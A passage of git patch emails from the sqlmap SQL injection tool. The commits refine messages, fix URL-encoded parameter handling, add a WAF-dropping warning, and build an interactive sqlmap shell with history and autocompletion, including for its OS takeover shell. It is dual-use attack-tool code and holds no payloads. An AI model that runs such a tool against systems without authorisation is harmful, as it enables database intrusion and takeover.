b/plugins/dbms/hsqldb/fingerprint.py index 3d082c52a..bd3e0f6f7 100644 --- a/plugins/dbms/hsqldb/fingerprint.py +++ b/plugins/dbms/hsqldb/fingerprint.py @@ -134,7 +134,7 @@ class Fingerprint(GenericFingerprint): return True else: - warnMsg = "the back-end DBMS is not %s or is < 1.7.2" % DBMS.HSQLDB + warnMsg = "the back-end DBMS is not %s or version is < 1.7.2" % DBMS.HSQLDB logger.warn(warnMsg) return False From 055b759145727ab13496d485ed250401b8ac722e Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Wed, 3 Sep 2014 23:13:57 +0200 Subject: [PATCH 465/889] Minor update --- lib/core/option.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/core/option.py b/lib/core/option.py index 6c8c30675..5b5fec0cf 100644 --- a/lib/core/option.py +++ b/lib/core/option.py @@ -876,7 +876,7 @@ def _setDBMS(): if conf.dbms not in SUPPORTED_DBMS: errMsg = "you provided an unsupported back-end database management " - errMsg += "system. The supported DBMS are %s. " % ', '.join([_ for _ in DBMS_DICT]) + errMsg += "system. Supported DBMSes are as follows: %s. " % ', '.join(sorted(_ for _ in DBMS_DICT)) errMsg += "If you do not know the back-end DBMS, do not provide " errMsg += "it and sqlmap will fingerprint it for you." raise SqlmapUnsupportedDBMSException(errMsg) From 53d0d5bf8b42a519e97d9a38d9881fd94d0e35e1 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Mon, 8 Sep 2014 14:33:13 +0200 Subject: [PATCH 466/889] Minor update (adding a warning message about potential dropping of requests because of protection mechanisms involved) --- lib/controller/checks.py | 3 ++- lib/core/option.py | 1 + lib/request/connect.py | 2 ++ 3 files changed, 5 insertions(+), 1 deletion(-) diff --git a/lib/controller/checks.py b/lib/controller/checks.py index d6a403afc..c8af38cdf 100644 --- a/lib/controller/checks.py +++ b/lib/controller/checks.py @@ -112,7 +112,7 @@ def checkSqlInjection(place, parameter, value): kb.extendTests = [] if readInput(msg, default='Y').upper() != 'Y' else ([conf.dbms]) title = test.title - stype = test.stype + kb.testType = stype = test.stype clause = test.clause unionExtended = False @@ -1175,6 +1175,7 @@ def identifyWaf(): infoMsg = "no WAF/IDS/IPS product has been identified" logger.info(infoMsg) + kb.testType = None kb.testMode = False return retVal diff --git a/lib/core/option.py b/lib/core/option.py index 5b5fec0cf..fa1029a58 100644 --- a/lib/core/option.py +++ b/lib/core/option.py @@ -1741,6 +1741,7 @@ def _setKnowledgeBaseAttributes(flushAll=True): kb.technique = None kb.testMode = False kb.testQueryCount = 0 + kb.testType = None kb.threadContinue = True kb.threadException = False kb.tableExistsChoice = None diff --git a/lib/request/connect.py b/lib/request/connect.py index 021cdb196..99e6fa07b 100644 --- a/lib/request/connect.py +++ b/lib/request/connect.py @@ -533,6 +533,8 @@ class Connect(object): elif "forcibly closed" in tbMsg: warnMsg = "connection was forcibly closed by the target URL" elif "timed out" in tbMsg: + if kb.testMode and kb.testType not in (None, PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED): + singleTimeWarnMessage("there is a possibility that the target (or WAF) is dropping 'suspicious' requests") warnMsg = "connection timed out to the target URL" elif "URLError" in tbMsg or "error" in tbMsg: warnMsg = "unable to connect to the target URL" From bfc8ab0e3513394f8b3a102e89fac47f8768ba90 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Mon, 8 Sep 2014 14:48:31 +0200 Subject: [PATCH 467/889] Language update --- lib/controller/checks.py | 2 +- lib/request/connect.py | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/lib/controller/checks.py b/lib/controller/checks.py index c8af38cdf..d19a32d31 100644 --- a/lib/controller/checks.py +++ b/lib/controller/checks.py @@ -104,7 +104,7 @@ def checkSqlInjection(place, parameter, value): if kb.extendTests is None: _ = (Format.getErrorParsedDBMSes() if Backend.getErrorParsedDBMSes() else kb.heuristicDbms) msg = "do you want to include all tests for '%s' " % _ - msg += "extending provided level (%d) and risk (%s)? [Y/n]" % (conf.level, conf.risk) + msg += "extending provided level (%d) and risk (%s) values? [Y/n]" % (conf.level, conf.risk) kb.extendTests = [] if readInput(msg, default='Y').upper() != 'Y' else (Backend.getErrorParsedDBMSes() or [kb.heuristicDbms]) elif kb.extendTests is None and conf.level < 5 and conf.risk < 3: msg = "do you want to include all tests for '%s' " % conf.dbms diff --git a/lib/request/connect.py b/lib/request/connect.py index 99e6fa07b..2eab46815 100644 --- a/lib/request/connect.py +++ b/lib/request/connect.py @@ -858,7 +858,7 @@ class Connect(object): if deviation > WARN_TIME_STDEV: kb.adjustTimeDelay = ADJUST_TIME_DELAY.DISABLE - warnMsg = "there is considerable lagging " + warnMsg = "considerable lagging has been detected " warnMsg += "in connection response(s). Please use as high " warnMsg += "value for option '--time-sec' as possible (e.g. " warnMsg += "10 or more)" From 90869244fdd7e11e6d570377879caad8ca8d24b4 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Tue, 9 Sep 2014 16:19:38 +0200 Subject: [PATCH 468/889] Minor update --- xml/queries.xml | 18 +++++++++--------- 1 file changed, 9 insertions(+), 9 deletions(-) diff --git a/xml/queries.xml b/xml/queries.xml index 701b57d7e..521bef313 100644 --- a/xml/queries.xml +++ b/xml/queries.xml @@ -674,44 +674,44 @@ - + - + - + - + - + - + - + - + - + From ae8c12c9c3166fca325aac201c5778c42dd03c80 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Tue, 9 Sep 2014 16:22:13 +0200 Subject: [PATCH 469/889] Fix for an Issue #818 --- plugins/dbms/hsqldb/enumeration.py | 10 ++++++++++ 1 file changed, 10 insertions(+) diff --git a/plugins/dbms/hsqldb/enumeration.py b/plugins/dbms/hsqldb/enumeration.py index 43122d61f..c3b9f31e7 100644 --- a/plugins/dbms/hsqldb/enumeration.py +++ b/plugins/dbms/hsqldb/enumeration.py @@ -30,3 +30,13 @@ class Enumeration(GenericEnumeration): kb.data.banner = unArrayizeValue(inject.getValue(query, safeCharEncode=True)) return kb.data.banner + + def getPrivileges(self, *args): + warnMsg = "on HSQLDB it is not possible to enumerate the user privileges" + logger.warn(warnMsg) + + return {} + + def getHostname(self): + warnMsg = "on HSQLDB it is not possible to enumerate the hostname" + logger.warn(warnMsg) From 637d3cbaf72c55ff19fb00809fc55ea00fff4695 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Fri, 12 Sep 2014 13:29:30 +0200 Subject: [PATCH 470/889] Fix for cases when parameter name is urlencoded --- lib/core/agent.py | 3 +++ lib/core/common.py | 2 +- 2 files changed, 4 insertions(+), 1 deletion(-) diff --git a/lib/core/agent.py b/lib/core/agent.py index ce78736ee..923677b15 100644 --- a/lib/core/agent.py +++ b/lib/core/agent.py @@ -19,6 +19,7 @@ from lib.core.common import safeSQLIdentificatorNaming from lib.core.common import singleTimeWarnMessage from lib.core.common import splitFields from lib.core.common import unArrayizeValue +from lib.core.common import urlencode from lib.core.common import zeroDepthSearch from lib.core.data import conf from lib.core.data import kb @@ -153,6 +154,8 @@ class Agent(object): retVal = paramString.replace(origValue, self.addPayloadDelimiters(newValue)) else: retVal = re.sub(r"(\A|\b)%s=%s" % (re.escape(parameter), re.escape(origValue)), "%s=%s" % (parameter, self.addPayloadDelimiters(newValue.replace("\\", "\\\\"))), paramString) + if retVal == paramString and urlencode(parameter) != parameter: + retVal = re.sub(r"(\A|\b)%s=%s" % (re.escape(urlencode(parameter)), re.escape(origValue)), "%s=%s" % (urlencode(parameter), self.addPayloadDelimiters(newValue.replace("\\", "\\\\"))), paramString) return retVal diff --git a/lib/core/common.py b/lib/core/common.py index 0ac8eee6b..cbca1080d 100755 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -549,7 +549,7 @@ def paramToDict(place, parameters=None): parts = element.split("=") if len(parts) >= 2: - parameter = parts[0].replace(" ", "") + parameter = urldecode(parts[0].replace(" ", "")) if conf.paramDel and conf.paramDel == '\n': parts[-1] = parts[-1].rstrip() From ffa7e2f6e905a5bd0aeab98b51f512529e5024e0 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Sun, 14 Sep 2014 22:57:41 +0200 Subject: [PATCH 471/889] Minor fix --- thirdparty/pagerank/pagerank.py | 1 + 1 file changed, 1 insertion(+) diff --git a/thirdparty/pagerank/pagerank.py b/thirdparty/pagerank/pagerank.py index 60a654fd1..977a93744 100644 --- a/thirdparty/pagerank/pagerank.py +++ b/thirdparty/pagerank/pagerank.py @@ -15,6 +15,7 @@ import urllib def get_pagerank(url): + url = url.encode('utf8') if isinstance(url, unicode) else url _ = 'http://toolbarqueries.google.com/tbr?client=navclient-auto&features=Rank&ch=%s&q=info:%s' % (check_hash(hash_url(url)), urllib.quote(url)) try: f = urllib.urlopen(_) From 45f55481138344b7be0ea4b722a67c46f773b2e8 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Tue, 16 Sep 2014 08:58:25 +0200 Subject: [PATCH 472/889] Minor update regarding shell history file --- lib/core/common.py | 5 +++-- lib/core/shell.py | 4 ++-- 2 files changed, 5 insertions(+), 4 deletions(-) diff --git a/lib/core/common.py b/lib/core/common.py index cbca1080d..d22217a17 100755 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -1052,12 +1052,13 @@ def setPaths(): paths.SQLMAP_XML_PATH = os.path.join(paths.SQLMAP_ROOT_PATH, "xml") paths.SQLMAP_XML_BANNER_PATH = os.path.join(paths.SQLMAP_XML_PATH, "banner") - paths.SQLMAP_OUTPUT_PATH = getUnicode(paths.get("SQLMAP_OUTPUT_PATH", os.path.join(os.path.expanduser("~"), ".sqlmap", "output")), system=True) + _ = os.path.join(os.path.expanduser("~"), ".sqlmap") + paths.SQLMAP_OUTPUT_PATH = getUnicode(paths.get("SQLMAP_OUTPUT_PATH", os.path.join(_, "output")), system=True) paths.SQLMAP_DUMP_PATH = os.path.join(paths.SQLMAP_OUTPUT_PATH, "%s", "dump") paths.SQLMAP_FILES_PATH = os.path.join(paths.SQLMAP_OUTPUT_PATH, "%s", "files") # sqlmap files - paths.SQLMAP_HISTORY = os.path.join(os.path.expanduser('~'), ".sqlmap_history") + paths.SQLMAP_SHELL_HISTORY = os.path.join(_, "shell.hst") paths.SQLMAP_CONFIG = os.path.join(paths.SQLMAP_ROOT_PATH, "sqlmap-%s.conf" % randomStr()) paths.COMMON_COLUMNS = os.path.join(paths.SQLMAP_TXT_PATH, "common-columns.txt") paths.COMMON_TABLES = os.path.join(paths.SQLMAP_TXT_PATH, "common-tables.txt") diff --git a/lib/core/shell.py b/lib/core/shell.py index fdf769989..07e3f9243 100644 --- a/lib/core/shell.py +++ b/lib/core/shell.py @@ -16,11 +16,11 @@ from lib.core.data import paths from lib.core.enums import OS def saveHistory(): - historyPath = os.path.expanduser(paths.SQLMAP_HISTORY) + historyPath = os.path.expanduser(paths.SQLMAP_SHELL_HISTORY) readline.write_history_file(historyPath) def loadHistory(): - historyPath = os.path.expanduser(paths.SQLMAP_HISTORY) + historyPath = os.path.expanduser(paths.SQLMAP_SHELL_HISTORY) if os.path.exists(historyPath): try: From 57eb19377edd3b858034ea8bf0b1e5969f77bf2c Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Tue, 16 Sep 2014 09:07:31 +0200 Subject: [PATCH 473/889] Minor code refactoring --- lib/core/enums.py | 4 ++++ lib/core/shell.py | 5 +++-- lib/takeover/abstraction.py | 3 ++- plugins/generic/custom.py | 3 ++- 4 files changed, 11 insertions(+), 4 deletions(-) diff --git a/lib/core/enums.py b/lib/core/enums.py index c7307c778..095c03b9d 100644 --- a/lib/core/enums.py +++ b/lib/core/enums.py @@ -338,3 +338,7 @@ class AUTH_TYPE: DIGEST = "digest" NTLM = "ntlm" PKI = "pki" + +class AUTOCOMPLETE_TYPE: + SQL = 0 + OS = 1 diff --git a/lib/core/shell.py b/lib/core/shell.py index 07e3f9243..2064ece46 100644 --- a/lib/core/shell.py +++ b/lib/core/shell.py @@ -13,6 +13,7 @@ from lib.core import readlineng as readline from lib.core.common import Backend from lib.core.data import logger from lib.core.data import paths +from lib.core.enums import AUTOCOMPLETE_TYPE from lib.core.enums import OS def saveHistory(): @@ -47,13 +48,13 @@ class CompleterNG(rlcompleter.Completer): return matches -def autoCompletion(sqlShell=False, osShell=False): +def autoCompletion(completion=None): # First of all we check if the readline is available, by default # it is not in Python default installation on Windows if not readline._readline: return - if osShell: + if completion == AUTOCOMPLETE_TYPE.OS: if Backend.isOs(OS.WINDOWS): # Reference: http://en.wikipedia.org/wiki/List_of_DOS_commands completer = CompleterNG({ diff --git a/lib/takeover/abstraction.py b/lib/takeover/abstraction.py index c4773dfd4..030697560 100644 --- a/lib/takeover/abstraction.py +++ b/lib/takeover/abstraction.py @@ -13,6 +13,7 @@ from lib.core.common import isStackingAvailable from lib.core.common import readInput from lib.core.data import conf from lib.core.data import logger +from lib.core.enums import AUTOCOMPLETE_TYPE from lib.core.enums import DBMS from lib.core.exception import SqlmapFilePathException from lib.core.exception import SqlmapUnsupportedFeatureException @@ -116,7 +117,7 @@ class Abstraction(Web, UDF, Xp_cmdshell): infoMsg += "'x' or 'q' and press ENTER" logger.info(infoMsg) - autoCompletion(osShell=True) + autoCompletion(AUTOCOMPLETE_TYPE.OS) while True: command = None diff --git a/plugins/generic/custom.py b/plugins/generic/custom.py index 1cb83560a..5a64f148f 100644 --- a/plugins/generic/custom.py +++ b/plugins/generic/custom.py @@ -15,6 +15,7 @@ from lib.core.convert import utf8decode from lib.core.data import conf from lib.core.data import logger from lib.core.dicts import SQL_STATEMENTS +from lib.core.enums import AUTOCOMPLETE_TYPE from lib.core.settings import NULL from lib.core.settings import PARAMETER_SPLITTING_REGEX from lib.core.shell import autoCompletion @@ -73,7 +74,7 @@ class Custom: infoMsg += "'x' or 'q' and press ENTER" logger.info(infoMsg) - autoCompletion(sqlShell=True) + autoCompletion(AUTOCOMPLETE_TYPE.SQL) while True: query = None From 7278af01ee18e962adafc43d3f1021bcaf7215a2 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Tue, 16 Sep 2014 14:12:43 +0200 Subject: [PATCH 474/889] Implementation for an Issue #832 --- lib/core/enums.py | 1 + lib/core/exception.py | 3 ++ lib/core/settings.py | 4 ++ lib/core/shell.py | 43 +++++++++++++++++--- lib/parse/cmdline.py | 78 +++++++++++++++++++++++++++++++------ lib/takeover/abstraction.py | 3 +- sqlmap.py | 12 +++++- 7 files changed, 124 insertions(+), 20 deletions(-) diff --git a/lib/core/enums.py b/lib/core/enums.py index 095c03b9d..b4f8b809f 100644 --- a/lib/core/enums.py +++ b/lib/core/enums.py @@ -342,3 +342,4 @@ class AUTH_TYPE: class AUTOCOMPLETE_TYPE: SQL = 0 OS = 1 + SQLMAP = 2 diff --git a/lib/core/exception.py b/lib/core/exception.py index eb2a6e297..8fe6a7756 100644 --- a/lib/core/exception.py +++ b/lib/core/exception.py @@ -44,6 +44,9 @@ class SqlmapSilentQuitException(SqlmapBaseException): class SqlmapUserQuitException(SqlmapBaseException): pass +class SqlmapShellQuitException(SqlmapBaseException): + pass + class SqlmapSyntaxException(SqlmapBaseException): pass diff --git a/lib/core/settings.py b/lib/core/settings.py index aaca12a20..4a93fdfa5 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -239,6 +239,7 @@ BASIC_HELP_ITEMS = ( "checkTor", "flushSession", "tor", + "sqlmapShell", "wizard", ) @@ -583,6 +584,9 @@ MIN_BINARY_DISK_DUMP_SIZE = 100 # Regular expression used for extracting form tags FORM_SEARCH_REGEX = r"(?si)" +# Maximum number of lines to save in history file +MAX_HISTORY_LENGTH = 1000 + # Minimum field entry length needed for encoded content (hex, base64,...) check MIN_ENCODED_LEN_CHECK = 5 diff --git a/lib/core/shell.py b/lib/core/shell.py index 2064ece46..17e340036 100644 --- a/lib/core/shell.py +++ b/lib/core/shell.py @@ -15,12 +15,39 @@ from lib.core.data import logger from lib.core.data import paths from lib.core.enums import AUTOCOMPLETE_TYPE from lib.core.enums import OS +from lib.core.settings import MAX_HISTORY_LENGTH + +def readlineAvailable(): + """ + Check if the readline is available. By default + it is not in Python default installation on Windows + """ + + return readline._readline is not None + +def clearHistory(): + if not readlineAvailable(): + return + + readline.clear_history() def saveHistory(): + if not readlineAvailable(): + return + historyPath = os.path.expanduser(paths.SQLMAP_SHELL_HISTORY) + try: + os.remove(historyPath) + except: + pass + + readline.set_history_length(MAX_HISTORY_LENGTH) readline.write_history_file(historyPath) def loadHistory(): + if not readlineAvailable(): + return + historyPath = os.path.expanduser(paths.SQLMAP_SHELL_HISTORY) if os.path.exists(historyPath): @@ -47,15 +74,13 @@ class CompleterNG(rlcompleter.Completer): matches.append(word) return matches - -def autoCompletion(completion=None): - # First of all we check if the readline is available, by default - # it is not in Python default installation on Windows - if not readline._readline: + +def autoCompletion(completion=None, os=None, commands=None): + if not readlineAvailable(): return if completion == AUTOCOMPLETE_TYPE.OS: - if Backend.isOs(OS.WINDOWS): + if os == OS.WINDOWS: # Reference: http://en.wikipedia.org/wiki/List_of_DOS_commands completer = CompleterNG({ "copy": None, "del": None, "dir": None, @@ -76,5 +101,11 @@ def autoCompletion(completion=None): readline.set_completer(completer.complete) readline.parse_and_bind("tab: complete") + elif commands: + completer = CompleterNG(dict(((_, None) for _ in commands))) + readline.set_completer_delims(' ') + readline.set_completer(completer.complete) + readline.parse_and_bind("tab: complete") + loadHistory() atexit.register(saveHistory) diff --git a/lib/parse/cmdline.py b/lib/parse/cmdline.py index ead78b126..6a7777023 100644 --- a/lib/parse/cmdline.py +++ b/lib/parse/cmdline.py @@ -6,6 +6,7 @@ See the file 'doc/COPYING' for copying permission """ import os +import shlex import sys from optparse import OptionError @@ -17,13 +18,21 @@ from lib.core.common import checkDeprecatedOptions from lib.core.common import checkSystemEncoding from lib.core.common import expandMnemonics from lib.core.common import getUnicode +from lib.core.data import cmdLineOptions +from lib.core.data import conf from lib.core.data import logger from lib.core.defaults import defaults +from lib.core.enums import AUTOCOMPLETE_TYPE +from lib.core.exception import SqlmapShellQuitException from lib.core.settings import BASIC_HELP_ITEMS from lib.core.settings import DUMMY_URL from lib.core.settings import IS_WIN from lib.core.settings import MAX_HELP_OPTION_LENGTH from lib.core.settings import VERSION_STRING +from lib.core.shell import autoCompletion +from lib.core.shell import clearHistory +from lib.core.shell import loadHistory +from lib.core.shell import saveHistory def cmdLineParser(): """ @@ -693,6 +702,9 @@ def cmdLineParser(): action="store_true", help="Conduct through tests only if positive heuristic(s)") + miscellaneous.add_option("--sqlmap-shell", dest="sqlmapShell", action="store_true", + help="Prompt for an interactive sqlmap shell") + miscellaneous.add_option("--wizard", dest="wizard", action="store_true", help="Simple wizard interface for beginner users") @@ -765,22 +777,25 @@ def cmdLineParser(): option = parser.get_option("-h") option.help = option.help.capitalize().replace("this help", "basic help") - args = [] + argv = [] + prompt = False advancedHelp = True for arg in sys.argv: - args.append(getUnicode(arg, system=True)) + argv.append(getUnicode(arg, system=True)) - checkDeprecatedOptions(args) + checkDeprecatedOptions(argv) # Hide non-basic options in basic help case for i in xrange(len(sys.argv)): - if sys.argv[i] == '-hh': - sys.argv[i] = '-h' - elif sys.argv[i] == '--version': + if sys.argv[i] == "-hh": + sys.argv[i] = "-h" + elif sys.argv[i] == "--version": print VERSION_STRING raise SystemExit - elif sys.argv[i] == '-h': + elif sys.argv[i] == "--sqlmap-shell": + prompt = True + elif sys.argv[i] == "-h": advancedHelp = False for group in parser.option_groups[:]: found = False @@ -792,17 +807,56 @@ def cmdLineParser(): if not found: parser.option_groups.remove(group) + if prompt: + cmdLineOptions.sqlmapShell = True + + _ = ["x", "q", "exit", "quit", "clear"] + for group in parser.option_groups: + for option in group.option_list: + _.extend(option._long_opts) + _.extend(option._short_opts) + + autoCompletion(AUTOCOMPLETE_TYPE.SQLMAP, commands=_) + + while True: + command = None + + try: + command = raw_input("sqlmap-shell> ").strip() + except (KeyboardInterrupt, EOFError): + print + raise SqlmapShellQuitException + + if not command: + continue + elif command.lower() == "clear": + clearHistory() + print "[i] history cleared" + saveHistory() + elif command.lower() in ("x", "q", "exit", "quit"): + raise SqlmapShellQuitException + elif command[0] != '-': + print "[!] invalid option(s) provided" + print "[i] proper example: '-u http://www.site.com/vuln.php?id=1 --banner'" + else: + saveHistory() + loadHistory() + break + + for arg in shlex.split(command): + argv.append(getUnicode(arg, system=True)) + try: - (args, _) = parser.parse_args(args) + (args, _) = parser.parse_args(argv) except SystemExit: - if '-h' in sys.argv and not advancedHelp: + if "-h" in sys.argv and not advancedHelp: print "\n[!] to see full list of options run with '-hh'" raise # Expand given mnemonic options (e.g. -z "ign,flu,bat") - for i in xrange(len(sys.argv) - 1): - if sys.argv[i] == '-z': - expandMnemonics(sys.argv[i + 1], parser, args) + for i in xrange(len(argv) - 1): + if argv[i] == "-z": + expandMnemonics(argv[i + 1], parser, args) if args.dummy: args.url = args.url or DUMMY_URL diff --git a/lib/takeover/abstraction.py b/lib/takeover/abstraction.py index 030697560..4f51616e2 100644 --- a/lib/takeover/abstraction.py +++ b/lib/takeover/abstraction.py @@ -15,6 +15,7 @@ from lib.core.data import conf from lib.core.data import logger from lib.core.enums import AUTOCOMPLETE_TYPE from lib.core.enums import DBMS +from lib.core.enums import OS from lib.core.exception import SqlmapFilePathException from lib.core.exception import SqlmapUnsupportedFeatureException from lib.core.shell import autoCompletion @@ -117,7 +118,7 @@ class Abstraction(Web, UDF, Xp_cmdshell): infoMsg += "'x' or 'q' and press ENTER" logger.info(infoMsg) - autoCompletion(AUTOCOMPLETE_TYPE.OS) + autoCompletion(AUTOCOMPLETE_TYPE.OS, OS.WINDOWS if Backend.isOs(OS.WINDOWS) else OS.LINUX) while True: command = None diff --git a/sqlmap.py b/sqlmap.py index 5a889d5f9..bb68597e5 100755 --- a/sqlmap.py +++ b/sqlmap.py @@ -33,6 +33,7 @@ from lib.core.data import logger from lib.core.data import paths from lib.core.common import unhandledExceptionMessage from lib.core.exception import SqlmapBaseException +from lib.core.exception import SqlmapShellQuitException from lib.core.exception import SqlmapSilentQuitException from lib.core.exception import SqlmapUserQuitException from lib.core.option import initOptions @@ -101,7 +102,10 @@ def main(): except (SqlmapSilentQuitException, bdb.BdbQuit): pass - except SqlmapBaseException, ex: + except SqlmapShellQuitException: + cmdLineOptions.sqlmapShell = False + + except SqlmapBaseException as ex: errMsg = getUnicode(ex.message) logger.critical(errMsg) sys.exit(1) @@ -138,6 +142,12 @@ def main(): except KeyboardInterrupt: pass + if cmdLineOptions.get("sqlmapShell"): + cmdLineOptions.clear() + conf.clear() + kb.clear() + main() + if hasattr(conf, "api"): try: conf.database_cursor.disconnect() From 5b0732e9f919a2b7d6f34b2aa3ddaddd4dfe46e1 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Tue, 16 Sep 2014 15:17:50 +0200 Subject: [PATCH 475/889] Minor update for Issue #832 --- lib/core/common.py | 4 +++- lib/core/shell.py | 28 +++++++++++++++++++++------- lib/parse/cmdline.py | 6 +++--- 3 files changed, 27 insertions(+), 11 deletions(-) diff --git a/lib/core/common.py b/lib/core/common.py index d22217a17..e99dfa63d 100755 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -1058,7 +1058,9 @@ def setPaths(): paths.SQLMAP_FILES_PATH = os.path.join(paths.SQLMAP_OUTPUT_PATH, "%s", "files") # sqlmap files - paths.SQLMAP_SHELL_HISTORY = os.path.join(_, "shell.hst") + paths.SQL_SHELL_HISTORY = os.path.join(_, "sql.hst") + paths.OS_SHELL_HISTORY = os.path.join(_, "os.hst") + paths.SQLMAP_SHELL_HISTORY = os.path.join(_, "sqlmap.hst") paths.SQLMAP_CONFIG = os.path.join(paths.SQLMAP_ROOT_PATH, "sqlmap-%s.conf" % randomStr()) paths.COMMON_COLUMNS = os.path.join(paths.SQLMAP_TXT_PATH, "common-columns.txt") paths.COMMON_TABLES = os.path.join(paths.SQLMAP_TXT_PATH, "common-tables.txt") diff --git a/lib/core/shell.py b/lib/core/shell.py index 17e340036..4cb05cdd2 100644 --- a/lib/core/shell.py +++ b/lib/core/shell.py @@ -31,24 +31,38 @@ def clearHistory(): readline.clear_history() -def saveHistory(): +def saveHistory(completion=None): if not readlineAvailable(): return - historyPath = os.path.expanduser(paths.SQLMAP_SHELL_HISTORY) + if completion == AUTOCOMPLETE_TYPE.SQL: + historyPath = paths.SQL_SHELL_HISTORY + elif completion == AUTOCOMPLETE_TYPE.OS: + historyPath = paths.OS_SHELL_HISTORY + else: + historyPath = paths.SQLMAP_SHELL_HISTORY + try: - os.remove(historyPath) + with open(historyPath, "rw+") as f: + f.truncate() except: pass readline.set_history_length(MAX_HISTORY_LENGTH) readline.write_history_file(historyPath) -def loadHistory(): +def loadHistory(completion=None): if not readlineAvailable(): return - historyPath = os.path.expanduser(paths.SQLMAP_SHELL_HISTORY) + clearHistory() + + if completion == AUTOCOMPLETE_TYPE.SQL: + historyPath = paths.SQL_SHELL_HISTORY + elif completion == AUTOCOMPLETE_TYPE.OS: + historyPath = paths.OS_SHELL_HISTORY + else: + historyPath = paths.SQLMAP_SHELL_HISTORY if os.path.exists(historyPath): try: @@ -107,5 +121,5 @@ def autoCompletion(completion=None, os=None, commands=None): readline.set_completer(completer.complete) readline.parse_and_bind("tab: complete") - loadHistory() - atexit.register(saveHistory) + loadHistory(completion) + atexit.register(saveHistory, completion) diff --git a/lib/parse/cmdline.py b/lib/parse/cmdline.py index 6a7777023..b39f7ff40 100644 --- a/lib/parse/cmdline.py +++ b/lib/parse/cmdline.py @@ -832,15 +832,15 @@ def cmdLineParser(): elif command.lower() == "clear": clearHistory() print "[i] history cleared" - saveHistory() + saveHistory(AUTOCOMPLETE_TYPE.SQLMAP) elif command.lower() in ("x", "q", "exit", "quit"): raise SqlmapShellQuitException elif command[0] != '-': print "[!] invalid option(s) provided" print "[i] proper example: '-u http://www.site.com/vuln.php?id=1 --banner'" else: - saveHistory() - loadHistory() + saveHistory(AUTOCOMPLETE_TYPE.SQLMAP) + loadHistory(AUTOCOMPLETE_TYPE.SQLMAP) break for arg in shlex.split(command): From c5294f2cbb0797ac478c45ddadffb3dfc376bd0c Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Tue, 16 Sep 2014 16:18:13 +0200 Subject: [PATCH 476/889] Minor patch for an Issue #832 --- lib/parse/cmdline.py | 47 ++++++++++++++++++++++++-------------------- 1 file changed, 26 insertions(+), 21 deletions(-) diff --git a/lib/parse/cmdline.py b/lib/parse/cmdline.py index b39f7ff40..2c62b94d5 100644 --- a/lib/parse/cmdline.py +++ b/lib/parse/cmdline.py @@ -786,31 +786,17 @@ def cmdLineParser(): checkDeprecatedOptions(argv) - # Hide non-basic options in basic help case - for i in xrange(len(sys.argv)): - if sys.argv[i] == "-hh": - sys.argv[i] = "-h" - elif sys.argv[i] == "--version": - print VERSION_STRING - raise SystemExit - elif sys.argv[i] == "--sqlmap-shell": - prompt = True - elif sys.argv[i] == "-h": - advancedHelp = False - for group in parser.option_groups[:]: - found = False - for option in group.option_list: - if option.dest not in BASIC_HELP_ITEMS: - option.help = SUPPRESS_HELP - else: - found = True - if not found: - parser.option_groups.remove(group) + prompt = "--sqlmap-shell" in argv if prompt: cmdLineOptions.sqlmapShell = True _ = ["x", "q", "exit", "quit", "clear"] + + for option in parser.option_list: + _.extend(option._long_opts) + _.extend(option._short_opts) + for group in parser.option_groups: for option in group.option_list: _.extend(option._long_opts) @@ -846,10 +832,29 @@ def cmdLineParser(): for arg in shlex.split(command): argv.append(getUnicode(arg, system=True)) + # Hide non-basic options in basic help case + for i in xrange(len(argv)): + if argv[i] == "-hh": + argv[i] = "-h" + elif argv[i] == "--version": + print VERSION_STRING + raise SystemExit + elif argv[i] == "-h": + advancedHelp = False + for group in parser.option_groups[:]: + found = False + for option in group.option_list: + if option.dest not in BASIC_HELP_ITEMS: + option.help = SUPPRESS_HELP + else: + found = True + if not found: + parser.option_groups.remove(group) + try: (args, _) = parser.parse_args(argv) except SystemExit: - if "-h" in sys.argv and not advancedHelp: + if "-h" in argv and not advancedHelp: print "\n[!] to see full list of options run with '-hh'" raise From 0e8090381caafccbeee9a38afab8d36feb3f07bc Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Tue, 16 Sep 2014 16:21:29 +0200 Subject: [PATCH 477/889] Minor cosmetic update --- lib/parse/cmdline.py | 1 + 1 file changed, 1 insertion(+) diff --git a/lib/parse/cmdline.py b/lib/parse/cmdline.py index 2c62b94d5..5232bec76 100644 --- a/lib/parse/cmdline.py +++ b/lib/parse/cmdline.py @@ -789,6 +789,7 @@ def cmdLineParser(): prompt = "--sqlmap-shell" in argv if prompt: + parser.usage = "" cmdLineOptions.sqlmapShell = True _ = ["x", "q", "exit", "quit", "clear"] From 8a92dd3aaa180653751267bc1f9c4cbde104bc9e Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Tue, 16 Sep 2014 16:28:38 +0200 Subject: [PATCH 478/889] Minor cosmetic patch --- sqlmap.py | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/sqlmap.py b/sqlmap.py index bb68597e5..1607a0648 100755 --- a/sqlmap.py +++ b/sqlmap.py @@ -81,6 +81,7 @@ def main(): banner() + conf.showTime = True dataToStdout("[!] legal disclaimer: %s\n\n" % LEGAL_DISCLAIMER, forceOutput=True) dataToStdout("[*] starting at %s\n\n" % time.strftime("%X"), forceOutput=True) @@ -131,7 +132,8 @@ def main(): dataToStdout(setColor(traceback.format_exc())) finally: - dataToStdout("\n[*] shutting down at %s\n\n" % time.strftime("%X"), forceOutput=True) + if conf.get("showTime"): + dataToStdout("\n[*] shutting down at %s\n\n" % time.strftime("%X"), 